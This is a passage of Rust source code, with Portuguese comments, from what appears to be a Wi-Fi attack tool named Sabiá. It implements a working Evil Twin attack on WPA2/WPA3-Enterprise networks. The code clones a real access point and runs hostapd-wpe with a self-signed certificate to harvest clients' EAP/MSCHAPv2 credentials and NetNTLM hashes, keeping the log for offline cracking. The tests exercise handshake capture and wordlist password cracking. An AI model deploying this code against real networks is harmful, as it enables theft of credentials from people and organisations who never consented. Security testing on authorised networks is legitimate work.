job de deauth acoplado de volta; isso aqui, que tem `&self`, pode. self.stop_deauth_for_iface(&capture_iface); Ok(()) } /// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X): clona o AP numa /// segunda interface anunciando o mesmo SSID+canal e deixa o /// `hostapd-wpe` aceitar o handshake EAP (PEAP/TTLS→MSCHAPv2) de /// qualquer cliente — a credencial sai sozinha, como parte do próprio /// protocolo, sem portal nem ação humana (ver `eviltwin_enterprise.rs` /// pro porquê disso só existir pra Enterprise e não pra PSK). /// /// Exige que o AP já tenha aparecido nesta sessão com segurança /// Enterprise (AKM 802.1X) e que `hostapd-wpe` esteja instalado — não é /// vendorizado como o reaver: é um patch sobre a árvore de build do /// hostapd, não um binário pequeno. #[cfg(target_os = "linux")] pub fn start_evil_twin_enterprise( &self, name: &str, ap_iface: &str, bssid: &str, ) -> Result { use std::fs; use std::process::{Command, Stdio}; parse_mac(bssid)?; if ap_iface == name { return Err(SabiaError::InvalidInput( "a interface do clone precisa ser diferente da que está capturando".into(), )); } let (ssid, channel) = { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })?; let t = session.table.lock().unwrap(); let ap = t .access_points() .into_iter() .find(|a| a.bssid.eq_ignore_ascii_case(bssid)) .ok_or_else(|| { SabiaError::InvalidInput( "esse BSSID ainda não apareceu nesta sessão de captura".into(), ) })?; if !ap.akm.iter().any(|a| a == "802.1X") { return Err(SabiaError::InvalidInput( "essa rede não é WPA2/WPA3-Enterprise (802.1X) — pra rede com senha única (PSK), use o Evil Twin com portal cativo".into(), )); } let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| { SabiaError::InvalidInput("rede oculta: sem SSID não dá pra clonar".into()) })?; let channel = ap.channel.ok_or_else(|| { SabiaError::InvalidInput("canal do AP ainda não identificado".into()) })?; (ssid, channel) }; crate::wps::find_in_path("hostapd-wpe").ok_or_else(|| { SabiaError::InvalidInput( "hostapd-wpe não está instalado — não vem com o Sabiá (é um patch sobre o build do hostapd, não um binário pequeno); instale pelo repositório do Kali ou compile https://github.com/aircrack-ng/hostapd-wpe".into(), ) })?; let info = iface::get(ap_iface)?; if info.mode != Mode::Managed && info.mode != Mode::Monitor { return Err(SabiaError::InvalidInput(format!( "{ap_iface} está num modo que o hostapd-wpe não consegue usar" ))); } let dir = std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() })); fs::create_dir_all(&dir).map_err(SabiaError::Io)?; let eap_user_path = dir.join(format!("eap_user-{ap_iface}")); let key_path = dir.join(format!("wpe-{ap_iface}.key")); let cert_path = dir.join(format!("wpe-{ap_iface}.pem")); let log_path = dir.join(format!("wpe-{ap_iface}.log")); let hostapd_conf_path = dir.join(format!("hostapd-wpe-{ap_iface}.conf")); fs::write( &eap_user_path, crate::eviltwin_enterprise::DEFAULT_EAP_USER_FILE, ) .map_err(SabiaError::Io)?; // Mesmo certificado autoassinado serve de "CA" e de certificado do // servidor — não é uma cadeia de verdade, só o suficiente pra abrir // o túnel TLS que PEAP/TTLS exigem. Ver aviso em eviltwin_enterprise.rs // sobre clientes que validam a cadeia e vão recusar isso de propósito. let cert_args = crate::eviltwin_enterprise::openssl_selfsigned_cert_args( &key_path.to_string_lossy(), &cert_path.to_string_lossy(), ); let openssl_ok = Command::new("openssl") .args(&cert_args) .stdout(Stdio::null()) .stderr(Stdio::null()) .status() .map(|s| s.success()) .unwrap_or(false); if !openssl_ok { return Err(SabiaError::InvalidInput( "não foi possível gerar o certificado TLS (openssl) pro hostapd-wpe".into(), )); } fs::write( &hostapd_conf_path, crate::eviltwin_enterprise::hostapd_wpe_conf( ap_iface, &ssid, channel, &eap_user_path.to_string_lossy(), &cert_path.to_string_lossy(), &cert_path.to_string_lossy(), &key_path.to_string_lossy(), &log_path.to_string_lossy(), ), ) .map_err(SabiaError::Io)?; // Mesmo esquema de recuperação do Evil Twin de PSK (bug-093): // `self_heal_eviltwin_leftovers` lê qualquer `state-*.json` sobrando // e desfaz tudo no próximo início do engine, mesmo sem // `portal_port`/`dnsmasq_conf` (campos ausentes, tratados como // opcionais nessa função). let state_path = dir.join(format!("state-{ap_iface}.json")); let _ = fs::write( &state_path, serde_json::json!({ "ap_iface": ap_iface, "capture_iface": name, "hostapd_conf": hostapd_conf_path.to_string_lossy(), }) .to_string(), ); let _ = Command::new("nmcli") .args(["device", "set", ap_iface, "managed", "no"]) .status(); let _ = Command::new("nmcli") .args(["device", "set", name, "managed", "no"]) .status(); // Mesmo diagnóstico do bug-093 pro hostapd puro: grava a saída pra // conseguir explicar um crash imediato em vez de deixar um // "" mudo (placa sem o canal/banda de verdade, por // exemplo). Sem DHCP/iptables aqui — a credencial EAP é enviada // como parte do 802.1X, antes de qualquer IP ser atribuído. let hostapd_log_path = dir.join(format!("hostapd-wpe-{ap_iface}.log")); let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?; let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?; let mut hostapd_cmd = Command::new("hostapd-wpe"); hostapd_cmd .arg(&hostapd_conf_path) .stdout(hostapd_log_out) .stderr(hostapd_log_err); let mut hostapd_child = hostapd_cmd.spawn().map_err(|e| { SabiaError::InvalidInput(format!("não foi possível executar hostapd-wpe: {e}")) })?; std::thread::sleep(std::time::Duration::from_millis(500)); if let Ok(Some(status)) = hostapd_child.try_wait() { let _ = Command::new("nmcli") .args(["device", "set", ap_iface, "managed", "yes"]) .status(); let _ = Command::new("nmcli") .args(["device", "set", name, "managed", "yes"]) .status(); let _ = fs::remove_file(&state_path); let log = fs::read_to_string(&hostapd_log_path).unwrap_or_default(); return Err(SabiaError::InvalidInput(format!( "hostapd-wpe saiu sozinho ({status}) logo ao subir em {ap_iface} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {}", log.trim() ))); } let hostapd_pid = hostapd_child.id(); let id = format!( "enterprisetwin-{}", self.enterprise_twin_seq.fetch_add(1, Ordering::SeqCst) + 1 ); let job = Arc::new(Mutex::new(EnterpriseTwinJobInfo { id: id.clone(), iface: name.to_string(), ap_iface: ap_iface.to_string(), ssid, bssid: bssid.to_string(), status: "running".into(), captured: 0, last_identity: None, log_path: log_path.to_string_lossy().into_owned(), error: None, started_unix: unix_now(), finished_unix: None, hostapd_pid: Some(hostapd_pid), })); self.enterprise_twin_jobs .lock() .unwrap() .insert(id.clone(), job); self.log( "eviltwin_enterprise_start", name, serde_json::json!({ "job": id, "bssid": bssid, "ap_iface": ap_iface }), ); Ok(id) } #[cfg(not(target_os = "linux"))] pub fn start_evil_twin_enterprise( &self, _name: &str, _ap_iface: &str, _bssid: &str, ) -> Result { Err(SabiaError::UnsupportedPlatform) } /// Relê o log do hostapd-wpe (se o job ainda estiver rodando) e devolve /// o estado atual — sem thread de fundo: o polling da UI já chama isso /// a cada ~1.5s, igual aos outros jobs. pub fn enterprise_twin_job(&self, id: &str) -> Option { let job = self.enterprise_twin_jobs.lock().unwrap().get(id).cloned()?; { let mut guard = job.lock().unwrap(); if guard.status == "running" { if let Ok(log) = std::fs::read_to_string(&guard.log_path) { let creds = crate::eviltwin_enterprise::captured_identities(&log); guard.captured = creds.len() as u32; guard.last_identity = creds .last() .map(|c| c.netntlm.clone().unwrap_or_else(|| c.username.clone())); } } } let info = job.lock().unwrap().clone(); Some(info) } pub fn enterprise_twin_jobs(&self) -> Vec { let ids: Vec = self .enterprise_twin_jobs .lock() .unwrap() .keys() .cloned() .collect(); let mut out: Vec<_> = ids .into_iter() .filter_map(|id| self.enterprise_twin_job(&id)) .collect(); out.sort_by_key(|a| std::cmp::Reverse(a.started_unix)); out } /// Mata o hostapd-wpe e devolve as duas interfaces pro NetworkManager — /// síncrono (tem `&self`, sem thread solta pra coordenar), ao contrário /// do Evil Twin de PSK que precisa de uma thread de portal rodando em /// paralelo. O log de credenciais fica no disco (não é apagado) pra /// quebra offline com john/hashcat. #[cfg(target_os = "linux")] pub fn stop_evil_twin_enterprise(&self, id: &str) -> Result<()> { let job = self .enterprise_twin_jobs .lock() .unwrap() .get(id) .cloned() .ok_or_else(|| { SabiaError::InvalidInput("job de Evil Twin Enterprise não encontrado".into()) })?; let mut guard = job.lock().unwrap(); if let Some(pid) = guard.hostapd_pid { unsafe { libc::kill(pid as i32, libc::SIGTERM); } } let _ = std::process::Command::new("nmcli") .args(["device", "set", &guard.ap_iface, "managed", "yes"]) .status(); let _ = std::process::Command::new("nmcli") .args(["device", "set", &guard.iface, "managed", "yes"]) .status(); let dir = std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() })); let _ = std::fs::remove_file(dir.join(format!("state-{}.json", guard.ap_iface))); guard.status = "stopped".into(); guard.finished_unix = Some(unix_now()); let (capture_iface, ap_iface, bssid, captured) = ( guard.iface.clone(), guard.ap_iface.clone(), guard.bssid.clone(), guard.captured, ); drop(guard); self.log( "eviltwin_enterprise_stop", &capture_iface, serde_json::json!({ "bssid": bssid, "ap_iface": ap_iface, "captured": captured }), ); Ok(()) } #[cfg(not(target_os = "linux"))] pub fn stop_evil_twin_enterprise(&self, _id: &str) -> Result<()> { Err(SabiaError::UnsupportedPlatform) } pub fn audit_verify(&self) -> Result> { if !self.audit_path.exists() { return Ok(None); } AuditLog::verify(&self.audit_path) } pub fn audit_entries(&self, limit: Option) -> Result> { if !self.audit_path.exists() { return Ok(Vec::new()); } AuditLog::read_entries(&self.audit_path, limit) } pub fn update_check(&self) -> Result { update::check(self.version()) } pub fn update_apply(&self) -> Result { let exe = std::env::current_exe()?; update::apply(&exe) } fn session_handshake( &self, name: &str, bssid: &str, station: &str, ) -> Result> { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })?; let table = session.table.lock().unwrap(); Ok(table.handshake(bssid, station).cloned()) } fn log(&self, action: &str, target: &str, details: serde_json::Value) { append_audit(&self.audit_path, &self.audit_lock, action, target, &details); } } #[cfg(target_os = "linux")] fn record_wps_line(job: &Arc>, line: &str) { let (pin, password) = crate::wps::parse_line(line); if let Ok(mut j) = job.lock() { if j.output.len() >= 200 { j.output.remove(0); } j.output.push(line.to_string()); if pin.is_some() { j.pin = pin; } if password.is_some() { j.password = password; } } } fn append_audit( path: &Path, lock: &Arc>, action: &str, target: &str, details: &serde_json::Value, ) { let _guard = lock.lock().unwrap(); let Ok(mut log) = AuditLog::open(path) else { return; }; let text = details.to_string(); let _ = log.record(action, target, &text); } /// Desfaz um Evil Twin que não terminou direito numa execução anterior /// (processo morto por Ctrl+C sem handler, `kill -9`, queda de energia): /// mata hostapd/dnsmasq órfãos, remove as regras de iptables e devolve as /// duas interfaces (clone + captura) pro NetworkManager. Sem isso elas /// ficam presas em `managed no` e o painel de Wi-Fi do sistema some por /// completo (nenhum dispositivo gerenciado pra mostrar) até o usuário /// descobrir e rodar `nmcli device set managed yes` na mão. /// Roda uma vez, best-effort, toda vez que um `Engine` é criado. #[cfg(target_os = "linux")] fn self_heal_eviltwin_leftovers() { use std::process::Command; let Ok(uid) = std::env::var("SUDO_UID").or_else(|_| std::env::var("UID")) else { return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() }); }; let Ok(uid) = uid.parse::() else { return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() }); }; self_heal_eviltwin_leftovers_for_uid(uid); // Também cobre o euid atual (sudo normalmente roda como root/0, que é // o euid real do processo mesmo com SUDO_UID setado). self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() }); fn self_heal_eviltwin_leftovers_for_uid(uid: u32) { let dir = std::env::temp_dir().join(format!("sabia-eviltwin-{uid}")); let Ok(entries) = std::fs::read_dir(&dir) else { return; }; for entry in entries.flatten() { let path = entry.path(); let is_state_file = path .file_name() .and_then(|n| n.to_str()) .is_some_and(|n| n.starts_with("state-") && n.ends_with(".json")); if !is_state_file { continue; } let Ok(text) = std::fs::read_to_string(&path) else { continue; }; let Ok(state) = serde_json::from_str::(&text) else { continue; }; let ap_iface = state.get("ap_iface").and_then(|v| v.as_str()); let capture_iface = state.get("capture_iface").and_then(|v| v.as_str()); let portal_port = state.get("portal_port").and_then(|v| v.as_u64()); let hostapd_conf = state.get("hostapd_conf").and_then(|v| v.as_str()); let dnsmasq_conf = state.get("dnsmasq_conf").and_then(|v| v.as_str()); if let Some(conf) = hostapd_conf { let _ = Command::new("pkill").args(["-f", conf]).status(); } if let Some(conf) = dnsmasq_conf { let _ = Command::new("pkill").args(["-f", conf]).status(); } if let (Some(ap_iface), Some(portal_port)) = (ap_iface, portal_port) { for rule in crate::eviltwin::iptables_cleanup_rules(ap_iface, portal_port as u16) { let _ = Command::new("iptables").args(&rule).status(); } } for iface in [ap_iface, capture_iface].into_iter().flatten() { let _ = Command::new("nmcli") .args(["device", "set", iface, "managed", "yes"]) .status(); } if let Some(conf) = hostapd_conf { let _ = std::fs::remove_file(conf); } if let Some(conf) = dnsmasq_conf { let _ = std::fs::remove_file(conf); } let _ = std::fs::remove_file(&path); } } } #[cfg(target_os = "linux")] fn probe_station_mac() -> [u8; 6] { let nanos = SystemTime::now() .duration_since(UNIX_EPOCH) .map(|d| d.subsec_nanos()) .unwrap_or(0); let pid = std::process::id(); [ 0x02, (nanos >> 24) as u8, (nanos >> 16) as u8, (nanos >> 8) as u8, nanos as u8, (pid ^ (nanos >> 7)) as u8, ] } #[cfg(target_os = "linux")] fn akms_for(ap: &AccessPoint) -> Vec { let mut out = Vec::new(); for akm in &ap.akm { match akm.as_str() { "PSK" => out.push(2), "802.1X" => out.push(1), "SAE" => out.push(8), "OWE" => out.push(18), _ => {} } } if out.is_empty() { match ap.security.as_deref() { Some("WPA3") | Some("WPA3-EAP") => out.push(8), Some("WPA2/WPA3") => { out.push(2); out.push(8); } Some("OWE") => out.push(18), Some("WPA2-EAP") => out.push(1), _ => out.push(2), } } out } #[cfg(target_os = "linux")] fn parse_mac(text: &str) -> Result<[u8; 6]> { crate::dot11::parse_mac(text) .ok_or_else(|| SabiaError::InvalidInput(format!("MAC inválido: {text}"))) } fn unix_now() -> u64 { SystemTime::now() .duration_since(UNIX_EPOCH) .map(|d| d.as_secs()) .unwrap_or(0) } #[cfg(test)] mod tests { use super::*; use crate::radiotap::Band; use crate::testutil::{ ap, beacon_frame, frame_with_eapol, handshake_frames, radiotap_wrap, sta, }; use tempfile::TempDir; fn seed_session(engine: &Engine, name: &str) -> Arc> { let mut table = ScanTable::new(); let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40); table.ingest(&beacon); let (m1, m2) = handshake_frames("RedeWPA", "password", 2, false); let f1 = frame_with_eapol(true, ap(), sta(), [0x33; 6], &m1); let f2 = frame_with_eapol(false, ap(), sta(), [0x33; 6], &m2); table.ingest(&radiotap_wrap(&f1, 2437, -40)); table.ingest(&radiotap_wrap(&f2, 2437, -41)); assert_eq!(table.stats().handshakes, 1); let table = Arc::new(Mutex::new(table)); engine.sessions.lock().unwrap().insert( name.to_string(), Session { table: table.clone(), running: Arc::new(AtomicBool::new(false)), channel: Arc::new(Mutex::new(Some(6))), locked_channel: Arc::new(Mutex::new(None)), channels: vec![6], started_unix: 1, pcap_out: None, error: Arc::new(Mutex::new(None)), handle: None, }, ); table } #[test] fn scan_snapshot_warns_when_running_long_with_zero_frames() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); engine.sessions.lock().unwrap().insert( "wlan-test".to_string(), Session { table: Arc::new(Mutex::new(ScanTable::new())), running: Arc::new(AtomicBool::new(true)), channel: Arc::new(Mutex::new(Some(6))), locked_channel: Arc::new(Mutex::new(None)), channels: vec![6], started_unix: 1, pcap_out: None, error: Arc::new(Mutex::new(None)), handle: None, }, ); let snap = engine.scan_snapshot("wlan-test").unwrap(); assert!(snap.warning.is_some()); assert!(snap.warning.unwrap().contains("Nenhum quadro")); } #[test] fn scan_snapshot_does_not_warn_right_after_starting() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); engine.sessions.lock().unwrap().insert( "wlan-test".to_string(), Session { table: Arc::new(Mutex::new(ScanTable::new())), running: Arc::new(AtomicBool::new(true)), channel: Arc::new(Mutex::new(Some(6))), locked_channel: Arc::new(Mutex::new(None)), channels: vec![6], started_unix: unix_now(), pcap_out: None, error: Arc::new(Mutex::new(None)), handle: None, }, ); let snap = engine.scan_snapshot("wlan-test").unwrap(); assert!(snap.warning.is_none()); } #[test] fn force_handshake_picks_an_associated_client() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); seed_session(&engine, "wlan-test"); assert_eq!( engine.first_associated_station("wlan-test", "00:11:22:33:44:55"), Some("66:77:88:99:aa:bb".into()) ); assert_eq!( engine.first_associated_station("wlan-test", "00:11:22:33:44:66"), None ); } #[test] fn evil_twin_rejects_same_interface_for_clone_and_capture() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); seed_session(&engine, "wlan-test"); let err = engine .start_evil_twin("wlan-test", "wlan-test", "00:11:22:33:44:55", 8080, false) .unwrap_err(); assert!(err.to_string().contains("diferente")); } #[test] fn evil_twin_rejects_bssid_never_seen_in_this_session() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); seed_session(&engine, "wlan-test"); let err = engine .start_evil_twin("wlan-test", "wlan1", "ff:ff:ff:ff:ff:ff", 8080, false) .unwrap_err(); assert!(err.to_string().contains("não apareceu")); } #[test] fn evil_twin_requires_a_crackable_handshake_for_that_bssid() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); // Só o beacon, sem handshake nenhum — a sessão sabe do AP mas não // tem como conferir senha nenhuma no portal ainda. let mut table = ScanTable::new(); let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40); table.ingest(&beacon); engine.sessions.lock().unwrap().insert( "wlan-test".to_string(), Session { table: Arc::new(Mutex::new(table)), running: Arc::new(AtomicBool::new(false)), channel: Arc::new(Mutex::new(Some(6))), locked_channel: Arc::new(Mutex::new(None)), channels: vec![6], started_unix: 1, pcap_out: None, error: Arc::new(Mutex::new(None)), handle: None, }, ); let err = engine .start_evil_twin("wlan-test", "wlan1", "00:11:22:33:44:55", 8080, false) .unwrap_err(); assert!(err.to_string().contains("handshake quebrável")); } #[test] fn evil_twin_fails_clearly_when_hostapd_is_missing() { // Neste ambiente de CI/sandbox hostapd não está instalado de // propósito — exercita o caminho de erro de verdade, não um mock. if crate::wps::find_in_path("hostapd").is_some() { eprintln!("hostapd instalado nesta máquina — pulando (o teste é pro caso sem ele)"); return; } let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); seed_session(&engine, "wlan-test"); let err = engine .start_evil_twin("wlan-test", "wlan1", "00:11:22:33:44:55", 8080, false) .unwrap_err(); assert!(err.to_string().contains("hostapd")); assert_eq!( engine.eviltwin_jobs().len(), 0, "não deve criar job sem hostapd" ); } #[test] fn evil_twin_enterprise_rejects_same_interface_for_clone_and_capture() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); seed_session(&engine, "wlan-test"); let err = engine .start_evil_twin_enterprise("wlan-test", "wlan-test", "00:11:22:33:44:55") .unwrap_err(); assert!(err.to_string().contains("diferente")); } #[test] fn evil_twin_enterprise_rejects_a_psk_network() { // seed_session() cria um beacon com AKM 2 (PSK) — não é Enterprise. let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); seed_session(&engine, "wlan-test"); let err = engine .start_evil_twin_enterprise("wlan-test", "wlan1", "00:11:22:33:44:55") .unwrap_err(); assert!(err.to_string().contains("Enterprise")); } #[test] fn evil_twin_enterprise_rejects_bssid_never_seen_in_this_session() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); seed_session(&engine, "wlan-test"); let err = engine .start_evil_twin_enterprise("wlan-test", "wlan1", "ff:ff:ff:ff:ff:ff") .unwrap_err(); assert!(err.to_string().contains("não apareceu")); } #[test] fn evil_twin_enterprise_accepts_an_802_1x_network_up_to_the_hostapd_wpe_check() { // AKM 1 = 802.1X (Enterprise) — passa a validação de segurança e só // falha mais na frente, no binário externo que não existe neste // ambiente de CI/sandbox de propósito. if crate::wps::find_in_path("hostapd-wpe").is_some() { eprintln!("hostapd-wpe instalado nesta máquina — pulando (o teste é pro caso sem ele)"); return; } let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); let mut table = ScanTable::new(); let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeCorp", 6, &[1]), 2437, -40); table.ingest(&beacon); engine.sessions.lock().unwrap().insert( "wlan-test".to_string(), Session { table: Arc::new(Mutex::new(table)), running: Arc::new(AtomicBool::new(false)), channel: Arc::new(Mutex::new(Some(6))), locked_channel: Arc::new(Mutex::new(None)), channels: vec![6], started_unix: 1, pcap_out: None, error: Arc::new(Mutex::new(None)), handle: None, }, ); let err = engine .start_evil_twin_enterprise("wlan-test", "wlan1", "00:11:22:33:44:55") .unwrap_err(); assert!(err.to_string().contains("hostapd-wpe")); assert_eq!( engine.enterprise_twin_jobs().len(), 0, "não deve criar job sem hostapd-wpe" ); } #[test] fn analyzes_pcap_and_snapshot() { let dir = TempDir::new().unwrap(); let pcap = dir.path().join("capture.pcap"); let engine = Engine::with_audit_path(dir.path().join("audit.log")); let table = seed_session(&engine, "wlan-test"); let hs = { let table = table.lock().unwrap(); table .handshake("00:11:22:33:44:55", "66:77:88:99:aa:bb") .cloned() .unwrap() }; let mut writer = PcapWriter::create(&pcap).unwrap(); let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40); writer.write_frame(&beacon).unwrap(); for frame in hs.raw_frames() { writer.write_frame(&frame).unwrap(); } writer.flush().unwrap(); let snapshot = engine.analyze_pcap(&pcap).unwrap(); assert_eq!(snapshot.access_points.len(), 1); assert_eq!(snapshot.access_points[0].ssid.as_deref(), Some("RedeWPA")); assert_eq!(snapshot.access_points[0].band, Some(Band::B2G4)); assert_eq!(snapshot.handshakes.len(), 1); assert!(snapshot.handshakes[0].crackable); assert_eq!(snapshot.stats.frames, 3); } #[test] fn exports_handshake_and_cracks_it() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); seed_session(&engine, "wlan-test"); let export = dir.path().join("hs.pcap"); let report = engine .export_handshake( "wlan-test", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &export, ) .unwrap(); assert_eq!(report.frames, 2); assert!(export.is_file()); let wordlist = dir.path().join("words.txt"); std::fs::write(&wordlist, "errada\noutra\npassword\nnunca\n").unwrap(); let id = engine .start_crack( "wlan-test", Some("00:11:22:33:44:55"), Some("66:77:88:99:aa:bb"), &wordlist, false, ) .unwrap(); let deadline = Instant::now() + Duration::from_secs(10); loop { let job = engine.crack_job(&id).unwrap(); if job.status != "running" { assert_eq!(job.status, "done"); assert_eq!( job.report.as_ref().and_then(|r| r.password.as_deref()), Some("password") ); break; } assert!(Instant::now() < deadline, "job não terminou"); std::thread::sleep(Duration::from_millis(20)); } let hs = engine.handshakes(Some("wlan-test")); assert_eq!(hs[0].password.as_deref(), Some("password")); } #[test] fn errors_are_clear_for_missing_inputs() { let dir = TempDir::new().unwrap(); let engine = Engine::with_audit_path(dir.path().join("audit.log")); assert!(engine.scan_snapshot("nope").is_err()); assert!(engine .start_crack("nope", None, None, dir.path().join("nada.txt"), false) .is_err()); assert!(engine.crack_job("nope").is_none()); assert!(engine.audit_entries(Some(10)).unwrap().is_empty()); } }